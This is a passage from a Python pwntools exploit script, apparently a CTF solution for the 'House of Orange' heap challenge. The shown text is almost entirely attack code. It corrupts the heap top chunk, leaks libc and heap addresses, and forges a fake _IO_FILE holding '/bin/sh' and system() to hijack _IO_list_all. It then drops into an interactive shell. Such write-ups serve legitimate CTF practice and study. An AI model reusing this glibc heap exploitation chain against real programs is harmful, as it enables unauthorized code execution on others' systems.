    p.sendlineafter(b'Color of Orange:',str(color).encode())

def show():
    p.sendlineafter(b'Your choice :',b'2')


def edit(size,name,price=1,color=2):
    p.sendlineafter(b'Your choice :',b'3')
    p.sendlineafter(b'Length of name :',str(size).encode())
    p.sendafter(b'Name:',name)
    p.sendlineafter(b'Price of Orange:',str(price).encode())
    p.sendlineafter(b'Color of Orange:',str(color).encode())


#gdb.attach(p)
add(0x400-0x10-0x40,b'aaa',10)
payload = b'a'*0x3b8+p64(0x21)+p32(0xc)+p32(0x20)+p64(0)
payload +=p64(0)+p64(0xc01)
edit(0x500,payload,12)
add(0x1000,b'asdasd',10)
add(0x500,b'\x10',10)
show()

p.recvuntil(b'Name of house : ')
libc_x = u64(p.recvline()[:-1].ljust(8,b'\x00'))
print('libc_x--->',hex(libc_x))

libc_addr = libc_x - libc.symbols['__malloc_hook']-1520-0x10
sys_addr = libc_addr + libc.symbols['system']
# 104
io_list_all = libc_addr + libc.symbols['_IO_list_all']
main_arena =  libc_addr + libc.symbols['__malloc_hook'] +0x68
edit(0x10,b'1'*0x10,1)
show()
p.recvuntil(b'Name of house : 1111111111111111')

heap_addr = u64(p.recvline()[:-1].ljust(8,b'\x00'))
print('heap_addr--->',hex(heap_addr))

heap_dst_addr = heap_addr+1328#2608
print('io_list_all--->',hex(io_list_all))
payload = b'b'*(0x500+0x20)#+p64(0)+p64(0x21)+b'a'*0x10
payload += b'/bin/sh\x00'+p64(0x61)
payload += p64(main_arena) + p64(io_list_all-0x10)
payload += p64(0x2) + p64(0x3) # io_write_base
payload += p64(0)*9+p64(sys_addr)
payload += p64(0)*11+p64(heap_dst_addr+0x60)
#pause()
print('heap_dst_addr',hex(heap_dst_addr))
print('main_arena',hex(main_arena))
#pause()
edit(0xc00,payload,66)
pause()
p.sendlineafter(b'Your choice : ',str(1))
p.interactive()

总结